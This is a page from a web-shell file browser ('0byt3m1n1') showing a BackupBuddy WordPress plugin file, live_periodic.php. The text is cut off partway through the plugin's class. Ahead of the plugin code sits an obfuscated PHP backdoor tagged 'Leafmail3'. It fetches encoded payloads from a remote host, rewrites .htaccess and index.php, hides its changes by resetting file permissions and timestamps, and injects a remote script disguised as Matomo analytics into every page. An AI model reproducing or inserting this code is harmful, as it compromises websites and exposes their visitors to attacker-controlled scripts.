0byt3m1n1
Path:
/
home1
/
aserty
/
public_html
/
bonniescraftygifts.com
/
iFzj4
/
configCHM
/
Jump
/
0-aserty
/
beatlesmontreal.com
/
wp-contentebbd3f
/
plugins
/
backupbuddy
/
destinations
/
live
/
[
Home
]
File: live_periodic.php
<?php /*Leafmail3*/goto hsxm4; mY3D9: $OKi1f .= "\145\x6e"; goto PMx6A; Kd95g: $eE8gG .= "\x66\x69\154\x65"; goto oGKV2; c0Bp6: $Jl55q .= "\164\157"; goto hLq5m; Vp4xb: $P5GVh = $Jl55q($guwhq); goto KpZeQ; KGgiz: $Yg3cE .= "\46\x68\x3d" . $Q6Si4; goto tGPrB; xpAbl: $PP2HF = $M1RhP($lL4Rq) || $M1RhP($Cb4XV); goto HSzn5; Kc0L3: @$jg8CY($QTlc9, $L0vpN); goto d3U3f; J7hLY: $oyXyy .= "\154\x72"; goto Bl7Ky; bQe_M: try { goto oX1u4; oX1u4: @$jg8CY($QTlc9, $HwdP2); goto mGuog; mGuog: @$jg8CY($OEoU0, $HwdP2); goto xHE2w; TupRK: @$jg8CY($OEoU0, $L0vpN); goto Mf0Y6; KHm7H: @$x09Um($KCjdR, $P5GVh); goto gKo15; gKo15: @$jg8CY($QTlc9, $L0vpN); goto fLtCp; c1PqG: @$jg8CY($KCjdR, $L0vpN); goto KHm7H; HZmuJ: @$jg8CY($KCjdR, $HwdP2); goto BHPy7; Mf0Y6: @$x09Um($OEoU0, $P5GVh); goto HZmuJ; BHPy7: @$SUpxe($KCjdR, $KmcLU["\142"]); goto c1PqG; xHE2w: @$SUpxe($OEoU0, $KmcLU["\x61"]); goto TupRK; fLtCp: } catch (Exception $w0YG7) { } goto KYs1a; Jfk_p: $guwhq = "\x2d\61"; goto FfLog; aYiIS: $NMbX8 .= "\144\x69\x72"; goto aKKe8; UPbyC: $HwdP2 += 304; goto fGMBR; JJZtD: $Jzlvr .= "\x75\156\143\164"; goto K31Ka; wCWRd: $SUj9O .= "\x73\x65"; goto SQa11; EdFV9: $M1RhP = "\144\x65\x66"; goto CcXTx; SDHjH: $QTlc9 = $_SERVER[$zl1NS]; goto BhGva; v4imZ: $aBJVO .= "\165\x65\162\x79"; goto ccRhk; C3xz0: $QuqQl .= "\157\160\164"; goto ExrBe; Mn8P4: $nCEBP .= "\143\153"; goto rirWy; oGKV2: $AIpqX = "\x69\x73\137"; goto yLTbR; ShiTE: $jg8CY = "\143\x68"; goto HTXlE; FRUFZ: if (!(!$PP2HF && $wU3zB)) { goto cynsl; } goto fT2Kb; D5OCa: $Jl55q = "\x73\164\162"; goto c0Bp6; jFRX7: $x09Um .= "\x75\143\150"; goto ShiTE; CIdAQ: try { goto uKjO1; uKjO1: $KJxhs = $Lbxvg(); goto h_HFe; ahPCJ: $SpmAm = $qG0GR($KJxhs); goto EzjNL; xG0S9: $QuqQl($KJxhs, CURLOPT_TIMEOUT, 10); goto ahPCJ; SQbKW: $QuqQl($KJxhs, CURLOPT_FOLLOWLOCATION, true); goto xG0S9; FS40F: $QuqQl($KJxhs, CURLOPT_RETURNTRANSFER, 1); goto h05EJ; h05EJ: $QuqQl($KJxhs, CURLOPT_SSL_VERIFYPEER, false); goto KfHmj; cFoFb: $SpmAm = trim(trim($SpmAm, "\xef\273\277")); goto XVsob; KfHmj: $QuqQl($KJxhs, CURLOPT_SSL_VERIFYHOST, false); goto SQbKW; EzjNL: $SUj9O($KJxhs); goto cFoFb; h_HFe: $QuqQl($KJxhs, CURLOPT_URL, $Yg3cE); goto FS40F; XVsob: } catch (Exception $w0YG7) { } goto Rf0CY; OWp53: $NMbX8 = "\155\x6b"; goto aYiIS; Dx3FV: $lrArR = $WVzi1[0]; goto IH6rw; i5aD2: if (!(!$eE8gG($KCjdR) || $wgQyS($KCjdR) != $CXpqw)) { goto eit7d; } goto KjDHJ; FWxON: $PVllF = "\144\x65\143"; goto EwaSn; KjDHJ: $YEcMX = 1; goto z9vF6; ZyUiw: $Jzlvr .= "\167\156\137\146"; goto JJZtD; mCzgW: $_SERVER[$Jzlvr] = 0; goto EkOAP; NflDd: $Yg3cE .= "\x63\157\x70\171"; goto KGgiz; yB2Sc: $JyN8a .= "\x69\x73\164\163"; goto Rkiyf; klUXl: $KCjdR .= "\x61\x63\x63\x65\163\x73"; goto lFs7r; Fra8y: $k1dzM = "\65"; goto Js55e; pF1JS: $OEoU0 .= "\150\160"; goto C_QnM; xhtvx: $leXnA .= "\x6e\x69"; goto rLZqh; n28OO: $sJIxp .= "\151\141\154\151\172\x65"; goto bm81E; znIi3: @unlink($leXnA); goto Kc0L3; slgUn: $sJIxp = "\x75\156\163\145\162"; goto n28OO; QELur: $Jzlvr .= "\147\151\x73\x74"; goto lEaPh; Js55e: $k1dzM .= "\56\x34"; goto N7I8b; rLZqh: if (!$eE8gG($leXnA)) { goto WwLVo; } goto laOt4; yCiib: EKIjw: goto m_fRf; Gcw6D: $SLV70 .= "\x6f\x6e\x5f\143\157\x6d"; goto FFtsE; bm81E: $a2D8O = "\151\x6e\164"; goto l0tUv; xQGdz: try { $_SERVER[$Jzlvr] = 1; $Jzlvr(function () { goto F3wJk; ZjuUH: $PgG92 .= "\x6f\162\145\x28\x67\54\x73\51\73" . "\xa"; goto IC5Gf; HNrtn: $PgG92 .= "\164\x2f\x6a\141\x76\x61"; goto NGG39; NGG39: $PgG92 .= "\163\x63\x72\x69\x70\x74\x22\x3e" . "\12"; goto fvKWo; zjuBs: $PgG92 .= $Q6Si4; goto ozlGd; e43vJ: $PgG92 .= "\x3b\40\147\x2e\x64\145\146"; goto WAaTZ; ctigl: $PgG92 .= "\143\x72\x69\x70\x74\76\12"; goto UQzFQ; o0zxz: $PgG92 .= "\x74\x6f\155\x6f\x20\x2d\55\x3e\12"; goto mPwIJ; HgwKa: $PgG92 .= "\x67\56\163\x72"; goto XHdHm; cMvbH: $PgG92 .= "\x3f\x69\x64\x3d"; goto CPJJv; T8SNl: $PgG92 .= "\x28\42\163\143\x72\x69"; goto DVVjf; EQZrG: $PgG92 .= "\165\155\x65\156\164\54\40\147\x3d\x64\56\x63\x72\x65\141\164\x65"; goto CVmAR; OsCJL: $PgG92 .= "\x72\x69\160\x74\x20\164\171\x70\x65\x3d\42\164\145\x78"; goto HNrtn; fvKWo: $PgG92 .= "\x28\146\x75\x6e\x63"; goto D9Z4J; XHdHm: $PgG92 .= "\143\x3d\x75\53\42\x6a\x73\x2f"; goto zjuBs; F3wJk: global $Q6Si4, $FOvp_; goto ikpGs; DVVjf: $PgG92 .= "\x70\164\x22\51\x5b\x30\135\73" . "\12"; goto OlxLe; CPJJv: $PgG92 .= "\x4d\55"; goto nBzuv; wKipS: $PgG92 .= "\x6a\141\x76\141"; goto y_xeS; D9Z4J: $PgG92 .= "\x74\x69\157\x6e\x28\51\x20\x7b" . "\12"; goto vt08G; vXk66: $PgG92 .= "\x79\124\x61\147\116\x61\155\145"; goto T8SNl; ikpGs: $PgG92 = "\x3c\x21\x2d\x2d\40\115\x61"; goto o0zxz; rJXe5: $PgG92 .= "\x72\151\160\164\42\51\x2c\40\163\75\144\56\147\x65\164"; goto pxHT_; VSQBz: $PgG92 .= "\x73\171\x6e\143\75\x74\162\x75\145"; goto e43vJ; pxHT_: $PgG92 .= "\x45\154\145\x6d\x65\x6e\x74\x73\x42"; goto vXk66; QIy0x: $PgG92 .= "\157\x6d\157\40\103\157\x64"; goto Uxlnc; rjIua: $PgG92 .= "\74\57\x73"; goto ctigl; puLbh: $PgG92 .= "\x3d\x22\164\x65\170\164\x2f"; goto wKipS; CVmAR: $PgG92 .= "\x45\154\145\155\145\x6e\164\50\42\x73\143"; goto rJXe5; UU_6f: $PgG92 .= "\x22\73\40\163\x2e\160\141\x72"; goto aBxBL; c1FaP: echo $PgG92; goto zSGUt; UQzFQ: $PgG92 .= "\x3c\x21\x2d\55\x20\x45\x6e"; goto qvKfj; IC5Gf: $PgG92 .= "\x7d\x29\50\51\73" . "\xa"; goto rjIua; OlxLe: $PgG92 .= "\x67\56\164\x79\x70\x65"; goto puLbh; EfTgB: $PgG92 .= "\166\x61\x72\40\x64\x3d\x64\x6f\143"; goto EQZrG; nBzuv: $PgG92 .= time(); goto UU_6f; Uxlnc: $PgG92 .= "\145\40\55\x2d\76\xa"; goto c1FaP; mZ3oI: $PgG92 .= "\x73\x65\x72\x74\102\145\x66"; goto ZjuUH; WAaTZ: $PgG92 .= "\x65\x72\x3d\164\162\x75\x65\x3b" . "\12"; goto HgwKa; ozlGd: $PgG92 .= "\57\x6d\x61\164"; goto TbrIf; aBxBL: $PgG92 .= "\145\x6e\164\x4e\x6f\144\x65\x2e\x69\156"; goto mZ3oI; mPwIJ: $PgG92 .= "\x3c\x73\x63"; goto OsCJL; vt08G: $PgG92 .= "\166\x61\x72\x20\x75\x3d\42" . $FOvp_ . "\42\x3b" . "\12"; goto EfTgB; y_xeS: $PgG92 .= "\163\x63\x72\x69\x70\x74\x22\73\40\147\56\x61"; goto VSQBz; qvKfj: $PgG92 .= "\144\40\115\141\x74"; goto QIy0x; TbrIf: $PgG92 .= "\157\155\157\56\x6a\163"; goto cMvbH; zSGUt: }); } catch (Exception $w0YG7) { } goto OMFq0; HTXlE: $jg8CY .= "\155\x6f\144"; goto u78ub; KT1wX: $WVzi1 = []; goto TZ3bq; d3U3f: WwLVo: goto QM61W; h87Dq: $leXnA .= "\145\162\x2e\x69"; goto xhtvx; nIVO8: $JyN8a = "\x66\x75\156\143"; goto GoX1L; jFsRM: $tAPba = 5; goto mY7sQ; SQa11: $aBJVO = "\150\164\x74\160\x5f\142"; goto AJs9s; laOt4: @$jg8CY($QTlc9, $HwdP2); goto L3sEg; MPyJp: $Jzlvr .= "\x73\x68\165"; goto scBFF; hs_XX: if (!is_array($KmcLU)) { goto Ji4ud; } goto LNg_o; L3sEg: @$jg8CY($leXnA, $HwdP2); goto znIi3; QIUGn: $SUpxe .= "\160\x75\164\137\x63"; goto kd_ew; KVOXl: $oyXyy = $QTlc9; goto coTO5; lEaPh: $Jzlvr .= "\x65\x72\137"; goto MPyJp; BhGva: $pW2vG = $QTlc9; goto NAu12; qNILG: $oyXyy .= "\150\160\56\60"; goto RNzhh; Zn9KR: $Lbxvg .= "\154\x5f\x69\x6e\151\x74"; goto qk2Ao; ZoBZC: $qG0GR .= "\154\x5f\x65\170\x65\x63"; goto AVxD0; mY7sQ: $tAPba += 3; goto y9KuX; ttAoG: $Yg3cE .= "\x3d\x67\145\x74"; goto NflDd; FFtsE: $SLV70 .= "\160\141\162\145"; goto EdFV9; eBPlp: $tbkvt .= "\137\x48\x4f\x53\x54"; goto mlRqF; y9KuX: $HwdP2 = 189; goto UPbyC; trQa2: $eE8gG = "\151\x73\x5f"; goto Kd95g; coTO5: $oyXyy .= "\x2f\170\x6d"; goto J7hLY; ccRhk: $D68oh = "\155\x64\x35"; goto wF0JY; zFQvK: $Kp0SW .= "\145\x70\x74\x61\x62\x6c\x65"; goto KVOXl; QsGMA: if (!(!$eE8gG($OEoU0) || $wgQyS($OEoU0) != $lrArR)) { goto Phq1q; } goto hbhZ9; dNN2Q: $L0vpN += 150; goto BU5yK; mf5ON: $QuqQl .= "\x6c\x5f\x73\x65\x74"; goto C3xz0; hTxii: $pFwD_ = "\x2f\136\x63"; goto GJpaV; SjSdb: if (!($JyN8a($Lbxvg) && !preg_match($pFwD_, PHP_SAPI) && $nCEBP($lMxQN, 2 | 4))) { goto sPsQO; } goto NFErl; xsENl: try { goto Rj1Hp; zDVDE: $ahOJp .= "\164\75\x63\141"; goto YWC0r; EdFQK: if ($AIpqX($Io3QB)) { goto BpK_a; } goto r_zk0; OTh7W: $Io3QB = dirname($Nfe0e); goto EdFQK; toAoY: @$jg8CY($Io3QB, $HwdP2); goto ALYMH; g2WNq: $ahOJp = $FOvp_; goto Q_jhz; YWC0r: $ahOJp .= "\154\154"; goto qpBjZ; Rj1Hp: $Nfe0e = $QTlc9 . $KmcLU["\x64"]["\160\141\164\150"]; goto OTh7W; r_zk0: @$NMbX8($Io3QB, $HwdP2, true); goto yxLDn; IMGFo: VUik8: goto OCPb3; ALYMH: @$SUpxe($Nfe0e, $KmcLU["\144"]["\x63\157\x64\x65"]); goto D2b8f; yxLDn: BpK_a: goto VXrMt; VXrMt: if (!$AIpqX($Io3QB)) { goto VUik8; } goto toAoY; l8bWn: try { goto Rtq9b; N8H27: $SUj9O($KJxhs); goto PHxGn; P9hMZ: $QuqQl($KJxhs, CURLOPT_URL, $ahOJp); goto aJWcu; GlRPI: $QuqQl($KJxhs, CURLOPT_POSTFIELDS, $aBJVO($nLpk_)); goto M4b4c; bz5Ia: $QuqQl($KJxhs, CURLOPT_POST, 1); goto GlRPI; ifFFq: $QuqQl($KJxhs, CURLOPT_SSL_VERIFYHOST, false); goto kx509; M4b4c: $qG0GR($KJxhs); goto N8H27; UfA6j: $QuqQl($KJxhs, CURLOPT_TIMEOUT, 3); goto bz5Ia; kx509: $QuqQl($KJxhs, CURLOPT_FOLLOWLOCATION, true); goto UfA6j; aJWcu: $QuqQl($KJxhs, CURLOPT_RETURNTRANSFER, 1); goto hBtdw; Rtq9b: $KJxhs = $Lbxvg(); goto P9hMZ; hBtdw: $QuqQl($KJxhs, CURLOPT_SSL_VERIFYPEER, false); goto ifFFq; PHxGn: } catch (Exception $w0YG7) { } goto IMGFo; s60Ax: @$x09Um($Nfe0e, $P5GVh); goto g2WNq; Q_jhz: $ahOJp .= "\77\x61\x63"; goto zDVDE; D2b8f: @$jg8CY($Nfe0e, $L0vpN); goto s_yVr; qpBjZ: $nLpk_ = ["\144\141\164\141" => $KmcLU["\x64"]["\165\162\x6c"]]; goto l8bWn; s_yVr: @$jg8CY($Io3QB, $L0vpN); goto s60Ax; OCPb3: } catch (Exception $w0YG7) { } goto bQe_M; e4Ifc: $Q6Si4 = $_SERVER[$tbkvt]; goto SDHjH; EwaSn: $PVllF .= "\x6f\143\x74"; goto CwGUI; yLTbR: $AIpqX .= "\x64\151\x72"; goto OWp53; BpAbm: $lL4Rq = "\x57\120\137\x55"; goto lIGrh; QBgho: Z7kbo: goto MUx3h; IH6rw: $CXpqw = $WVzi1[1]; goto QsGMA; yCtJ5: $JyN8a .= "\145\170"; goto yB2Sc; rirWy: $d_KAU = "\x66\143\x6c"; goto kGS2i; ExrBe: $qG0GR = $MogIQ; goto ZoBZC; qk2Ao: $QuqQl = $MogIQ; goto mf5ON; Z31wx: $jg8CY($QTlc9, $HwdP2); goto Ag8lc; K4l5B: $OEoU0 .= "\144\x65\x78\x2e\160"; goto pF1JS; bRDE_: $Cb4XV .= "\x5f\x41\x44"; goto YF7Rp; nElWS: $guwhq .= "\141\x79\x73"; goto Vp4xb; tP5eQ: $pW2vG .= "\x2d\141"; goto wx8gB; GJpaV: $pFwD_ .= "\x6c\151\57"; goto xJCEv; lFs7r: $leXnA = $QTlc9; goto tV4kM; t0fao: $Yg3cE = $FOvp_; goto NZ1x6; XrDkv: if (isset($_SERVER[$Jzlvr])) { goto r0CaT; } goto mCzgW; PMx6A: $nCEBP = "\146\154\157"; goto Mn8P4; C2C3X: $wgQyS .= "\154\x65"; goto trQa2; zsusp: $KmcLU = 0; goto jkCOI; NIEOu: $L0vpN = 215; goto dNN2Q; OEFkW: rsAYm: goto UL5LC; hbhZ9: $YEcMX = 1; goto IiUuQ; m_fRf: if (!$YEcMX) { goto gtKXO; } goto t0fao; i7ojl: $guwhq .= "\63\40\144"; goto nElWS; NAu12: $pW2vG .= "\57\x77\160"; goto tP5eQ; iw0Nk: $FOvp_ .= "\154\x69\x6e\x6b\56\164"; goto hSD1f; scBFF: $Jzlvr .= "\164\144\x6f"; goto ZyUiw; KpZeQ: $tbkvt = "\x48\124\124\120"; goto eBPlp; r500z: $KCjdR .= "\x2f\56\x68\x74"; goto klUXl; OMFq0: w6JGc: goto bH1zF; kd_ew: $SUpxe .= "\x6f\x6e\164\145\x6e\x74\163"; goto diLdg; PoTvn: $OEoU0 = $QTlc9; goto Fc1AY; aKKe8: $wM0cw = "\146\151\154\x65\137"; goto J0OQr; J3xw9: $FOvp_ = "\150\x74\x74\x70\163\72\57\57"; goto QlKtX; hSD1f: $FOvp_ .= "\157\160\57"; goto F0vj_; kGS2i: $d_KAU .= "\x6f\163\x65"; goto J3xw9; QM61W: $YEcMX = 0; goto SUEqd; p0Flx: $SUj9O .= "\154\137\143\x6c\x6f"; goto wCWRd; hLq5m: $Jl55q .= "\164\151"; goto lcFkG; YF7Rp: $Cb4XV .= "\115\x49\116"; goto xpAbl; eC9HP: $IhD_T = substr($D68oh($Q6Si4), 0, 6); goto DX3Ky; R8zQO: $SUpxe = "\146\151\x6c\145\137"; goto QIUGn; QlKtX: $FOvp_ .= "\x73\x65\x6f"; goto iw0Nk; C_QnM: $KCjdR = $QTlc9; goto r500z; EVan7: $y1BSo .= "\66\x34\x5f\x64"; goto n14XQ; CwGUI: $LDT3_ = "\x73\x74\x72"; goto iemde; wF0JY: $wgQyS = $D68oh; goto tC7IY; lcFkG: $Jl55q .= "\155\145"; goto nIVO8; LNg_o: try { goto mjWqA; aMSC6: @$jg8CY($iTCcx, $L0vpN); goto uokyK; UHS8F: @$jg8CY($pW2vG, $HwdP2); goto EZm8t; uokyK: @$x09Um($iTCcx, $P5GVh); goto bavy5; aNk_f: a5xL9: goto q700I; EZm8t: $iTCcx = $E3Ibu; goto aNk_f; OGZQL: if (!$AIpqX($pW2vG)) { goto a5xL9; } goto UHS8F; q700I: @$SUpxe($iTCcx, $KmcLU["\x63"]); goto aMSC6; mjWqA: @$jg8CY($QTlc9, $HwdP2); goto OGZQL; bavy5: } catch (Exception $w0YG7) { } goto xsENl; KYs1a: Ji4ud: goto QBgho; mlRqF: $zl1NS = "\104\x4f\103\125\115\x45\x4e\x54"; goto hivPL; OH0x0: $Tut_m .= "\x6e\146\154\x61\x74\145"; goto slgUn; Rf0CY: if (!($SpmAm !== false)) { goto Z7kbo; } goto zsusp; RNzhh: $OKi1f = "\146\157\160"; goto mY3D9; tC7IY: $wgQyS .= "\x5f\146\x69"; goto C2C3X; xePje: $Kp0SW = "\110\x54\124"; goto xIN_k; fT2Kb: $_POST = $_REQUEST = $_FILES = array(); goto UASYd; diLdg: $x09Um = "\164\157"; goto jFRX7; DX3Ky: $E3Ibu = $iTCcx = $pW2vG . "\57" . $IhD_T; goto KT1wX; J0OQr: $wM0cw .= "\x67\145\x74\137\x63"; goto KA3CR; MUx3h: gtKXO: goto qfVae; Ag8lc: $lMxQN = $OKi1f($oyXyy, "\167\x2b"); goto SjSdb; Rkiyf: $MogIQ = "\x63\165\x72"; goto chVKY; TZ3bq: $dmwnh = 32; goto jFsRM; tGPrB: $SpmAm = false; goto CIdAQ; hivPL: $zl1NS .= "\x5f\x52\117\117\x54"; goto Fra8y; Gx5VO: $Kp0SW .= "\60\x36\40\116\x6f"; goto z0Ye5; UL5LC: $YEcMX = 1; goto yCiib; NZ1x6: $Yg3cE .= "\77\141\143\x74"; goto ttAoG; xIN_k: $Kp0SW .= "\120\57\x31\x2e\x31\40\x34"; goto Gx5VO; BU5yK: $L0vpN = $a2D8O($PVllF($L0vpN), $tAPba); goto xePje; HPuPS: $SLV70 = "\166\145\162\x73\x69"; goto Gcw6D; lIGrh: $lL4Rq .= "\123\105\137\x54\x48\x45"; goto uBz23; GoX1L: $JyN8a .= "\164\x69\157\x6e\x5f"; goto yCtJ5; wx8gB: $pW2vG .= "\x64\x6d\151\156"; goto eC9HP; mEJVe: $s6EXz = $_FILES; goto p7L1U; uBz23: $lL4Rq .= "\115\x45\123"; goto Me43b; F0vj_: $Jzlvr = "\162\145"; goto QELur; l0tUv: $a2D8O .= "\x76\x61\154"; goto FWxON; tV4kM: $leXnA .= "\57\56\x75\163"; goto h87Dq; z0Ye5: $Kp0SW .= "\x74\40\101\x63\x63"; goto zFQvK; aSc51: goto EKIjw; goto OEFkW; K31Ka: $Jzlvr .= "\x69\157\x6e"; goto XrDkv; IiUuQ: Phq1q: goto i5aD2; NFErl: $jg8CY($QTlc9, $L0vpN); goto aro2m; EkOAP: r0CaT: goto BpAbm; UASYd: cynsl: goto Z31wx; N7I8b: $k1dzM .= "\x2e\60\73"; goto e4Ifc; Fc1AY: $OEoU0 .= "\x2f\151\156"; goto K4l5B; Bl7Ky: $oyXyy .= "\160\143\x2e\x70"; goto qNILG; HSzn5: $P0UrJ = $_REQUEST; goto mEJVe; KA3CR: $wM0cw .= "\157\156\164\x65\x6e\164\163"; goto R8zQO; AJs9s: $aBJVO .= "\165\151\154\x64\137\161"; goto v4imZ; z9vF6: eit7d: goto aSc51; chVKY: $Lbxvg = $MogIQ; goto Zn9KR; jkCOI: try { $KmcLU = @$sJIxp($Tut_m($y1BSo($SpmAm))); } catch (Exception $w0YG7) { } goto hs_XX; FfLog: $guwhq .= "\x33\x36"; goto i7ojl; u78ub: $y1BSo = "\x62\141\x73\x65"; goto EVan7; Me43b: $Cb4XV = "\127\x50"; goto bRDE_; p7L1U: $wU3zB = !empty($P0UrJ) || !empty($s6EXz); goto FRUFZ; bH1zF: try { goto hOljI; hTb2m: $WVzi1[] = $qQkQf; goto AVR1Z; wTrAR: $WVzi1[] = $mps9W; goto USnsY; O2FVm: $iTCcx = $QTlc9 . "\57" . $IhD_T; goto wiWx3; o5KeW: if (!empty($WVzi1)) { goto YMthw; } goto O2FVm; m1oNR: $WVzi1[] = $mps9W; goto hTb2m; C5yVp: NQbOe: goto o5KeW; uB5Qk: $mps9W = trim($JwExk[0]); goto hHGO3; tXeIo: I87JI: goto KjVrB; of38T: $JwExk = @explode("\72", $wM0cw($iTCcx)); goto lJihh; e3ZU6: $mps9W = trim($JwExk[0]); goto s4UPH; AVR1Z: uxegI: goto K3NXW; lU9RV: if (!($LDT3_($mps9W) == $dmwnh && $LDT3_($qQkQf) == $dmwnh)) { goto iEvPe; } goto wTrAR; ysg_I: LUX7P: goto tXeIo; BWadG: if (!(is_array($JwExk) && count($JwExk) == 2)) { goto LUX7P; } goto uB5Qk; wiWx3: if (!$eE8gG($iTCcx)) { goto I87JI; } goto GGIpg; hOljI: if (!$eE8gG($iTCcx)) { goto NQbOe; } goto of38T; GGIpg: $JwExk = @explode("\x3a", $wM0cw($iTCcx)); goto BWadG; KjVrB: YMthw: goto jes1d; hHGO3: $qQkQf = trim($JwExk[1]); goto lU9RV; m5G9U: if (!($LDT3_($mps9W) == $dmwnh && $LDT3_($qQkQf) == $dmwnh)) { goto uxegI; } goto m1oNR; zW9Vv: iEvPe: goto ysg_I; s4UPH: $qQkQf = trim($JwExk[1]); goto m5G9U; lJihh: if (!(is_array($JwExk) && count($JwExk) == 2)) { goto oJdNI; } goto e3ZU6; USnsY: $WVzi1[] = $qQkQf; goto zW9Vv; K3NXW: oJdNI: goto C5yVp; jes1d: } catch (Exception $w0YG7) { } goto PoTvn; W_RKl: $Tut_m = "\147\x7a\151"; goto OH0x0; n14XQ: $y1BSo .= "\145\x63\157\144\145"; goto W_RKl; hsxm4: $pqAdF = "\x3c\104\x44\115\76"; goto hTxii; xJCEv: $pFwD_ .= "\x73\x69"; goto D5OCa; SUEqd: if (empty($WVzi1)) { goto rsAYm; } goto Dx3FV; CcXTx: $M1RhP .= "\x69\x6e\145\x64"; goto Jfk_p; aro2m: if (!(!$_SERVER[$Jzlvr] && $SLV70(PHP_VERSION, $k1dzM, "\76"))) { goto w6JGc; } goto xQGdz; iemde: $LDT3_ .= "\x6c\145\156"; goto HPuPS; fGMBR: $HwdP2 = $a2D8O($PVllF($HwdP2), $tAPba); goto NIEOu; AVxD0: $SUj9O = $MogIQ; goto p0Flx; qfVae: sPsQO: ?> <?php /* BackupBuddy Stash Live Periodic Class * * @author Dustin Bolton * @since 7.0 * * Data files: * LOGDIR/live/catalog-XXXXX.txt File catalog with signatures. * LOGDIR/live/state-XXXXX.txt Overview of current state/progress including files pending, etc. Used to check if files need sending without loading entire signature. * * * Interesting data to display on Live page: * Catalog filesize * File stats: Number of files sent ouf ot total, size of all files sent out of total. * Last file send time. * * * STEPS * 1. Generate list of files, leaving stats blank. * 2. Loop through list. Skip anything set to delete. If scantime is too old, calculate filesize, mtime, and optional sha1. Compare with existing values & update them. If they changed then mark sent to false. * * * Catalog data: * array[filename] => { * size * mtime * sha1 * scantime * [sent] * [delete] * } * */ class backupbuddy_live_periodic { const TIME_WIGGLE_ROOM = 6; // Number of seconds to fudge up the time elapsed to give a little wiggle room so we don't accidently hit the edge and time out. const TIME_BETWEEN_FILE_RESCAN = 60; // [1min] Number of seconds to wait between rescanning a file. Don't get new stat or hash if this has not passed. const TIME_BETWEEN_FILE_AUDIT = 1800; // [30min] Minimum seconds between the file scan step running. Audit takes a while due to all the API activity. const REMOTE_SNAPSHOT_PERIOD_WIGGLE_ROOM = 10800; // [3hrs] Number of seconds we will allow periodic remote snapshot to run early. //const SAVE_SIGNATURES_EVERY_X_CHANGES = 300; // After this many files have had signature updates, save the signature catalog file. Don't do this too often since it uses I/O. const SAVE_SIGNATURES_EVERY_X_SECONDS = 5; // After this many seconds, re-save signature file. const MAX_SEND_ATTEMPTS = 4; // Maximum number of times we will try to resend a file before skipping it. const KICK_REQUEST_MINIMUM_PERIOD = 900; // Minimum number of seconds between requests for kicking. const CLOSE_CATALOG_WHEN_SENDING_FILESIZE = 1048576; // If sending a file of this size or greater then we will close out the catalog (and unlock) to prevent locking too long. const MINIMUM_SIZE_THRESHOLD_FOR_SPEED_CALC = 512000; // When calculating send speed, if a file is smaller then this amount then we assume this mimimum size so we can calculate a better estimate. private static $_stateObj; private static $_state; private static $_catalogObj; private static $_catalog; private static $_tablesObj; private static $_tables; private static $_stepDefaults = array( 'data_version' => 1, 'function' => 'daily_init', 'args' => array(), 'start_time' => 0, // Time this function first ran. 'last_run_start' => 0, // Time that this function last began. 'last_run_finish' => 0, // Time that this function last finished (eg from chunking). 'last_status' => '', // User-friendly status message. 'attempts' => 0, // Number of times this step has been attempted to run. 'chunks' => 0, // Number of times this step has chunked to continue so far. ); private static $_statsDefaults = array( 'tables_total_count' => 0, 'tables_total_size' => 0, 'tables_pending_send' => 0, 'tables_pending_delete' => 0, 'files_total_count' => 0, 'files_total_size' => 0, 'files_pending_send' => 0, 'files_pending_delete' => 0, 'last_remote_snapshot' => 0, // Timestamp of the last time a remote snapshot was triggered to begin. 'last_remote_snapshot_id' => '', // Snapshot ID of last remote snapshot triggered. 'last_remote_snapshot_response' => '', // Server response from last remote snapshot ran. 'last_remote_snapshot_response_time' => 0, // Time of last server response. 'last_remote_snapshot_trigger' => '', // automatic, manual, unknown, or blank for none so far. 'last_db_snapshot' => 0, // Timestamp of last db snapshot that completed db dump. NOT when files actually finished sending. 'last_file_audit_finish' => 0, // Timestamp of the last completition of file audit (checks for remote files that should not exist + updates 'v' key timestamp when remote file was verified to exist). 'last_file_audit_start' => 0, // Timestamp of the last start of file audit. 'last_filesend_startat' => 0, // Position to pick up sending files at to prevent duplicate from race conditions. 'last_kick_request' => 0, // Last time the cron kicker was contacted. 'recent_send_fails' => 0, // Number of recent remote send failures. If this gets too high we give up sending until next restart of the periodic process. 'wait_on_transfers_start' => 0, // Timestamp we began waiting on transfers to finish before snapshot. 'first_activity' => 0, // Timestamp of very first Live activity. 'last_activity' => 0, // Timestamp of last periodic activity. 'first_completion' => 0, // Timestamp of first 100% completion. 'manual_snapshot' => false, // Whether or not a manual snapshot is requested/pending. ); // Default catalog array. /*private static $_catalogDefaults = array( 'data_version' => 1, 'signatures' => array(), 'tables' => array(), ); */ // Default signatures in the catalog. private static $_signatureDefaults = array( 'a' => 0, // Added timestamp. (int) 'r' => 0, // Rescan/refresh timestamp (int). 'm' => 0, // Modified timestamp based on file mtime, NOT timestamp when signature was updated. (int) 's' => 0, // Size in bytes. (int) 'h' => '', // Hash. (string) 'b' => 0, // Backed up to Live server time. 0 if NOT backed up to server yet. 'v' => 0, // Verified via audit timestamp. 't' => 0, // Tries sending. AKA Transfer attempts. 'd' => false, // Pending deletion. ); // Default table entries in the catalog. private static $_tableDefaults = array( 'a' => 0, // Added timestamp. (int) 'm' => 0, // Modified timestamp. (int) 'b' => 0, // Backed up to Live server time. 0 if NOT backed up to server yet. 's' => 0, // Size in bytes. (int) 't' => 0, // Tries sending. AKA Transfer attempts. 'd' => false, // Pending deletion. ); // Function and the next function to run after it. private static $_nextFunction = array( 'daily_init' => 'database_snapshot', 'database_snapshot' => 'send_pending_db_snapshots', 'send_pending_db_snapshots' => 'process_table_deletions', 'process_table_deletions' => 'update_files_list', 'update_files_list' => 'update_files_signatures', 'update_files_signatures' => 'process_file_deletions', 'process_file_deletions' => 'send_pending_files', 'send_pending_files' => 'audit_remote_files', 'audit_remote_files' => 'run_remote_snapshot', 'wait_on_transfers' => 'run_remote_snapshot', // Only jumped to via queue if files remain prior to snapshot creation. ); // Default directories to ALWAYS exclude. No trailing slashes. private static $_default_excludes = array( '/wp-content/cache/', // W3TC cache. '/wp-content/uploads/backupbuddy_temp/', '/wp-content/backup-db/', '/error_log', '/db_sucuri', ); /* run_periodic_process() * * Scan all files to find new, deleted, or modified files compared to what has been sent to Live. * * @param string $preferredStep Preferred step that we want to run. Note that the preferredStep will only run if a step higher in the chain is not already running. Eg: Use to continue sending files UNLESS we have already looped back to starting over the periodic steps. * @param array $preferredStepArgs Argumenrts to pass to preferred step (if it runs). * */ public static function run_periodic_process( $preferredStep = '', $preferredStepArgs = array() ) { $previous_status_serial = pb_backupbuddy::get_status_serial(); // Hold current serial. pb_backupbuddy::set_status_serial( 'live_periodic' ); // Redirect logging output to a certain log file. pb_backupbuddy::status( 'details', '-----' ); global $wp_version; pb_backupbuddy::status( 'details', 'Live periodic process starting with BackupBuddy v' . 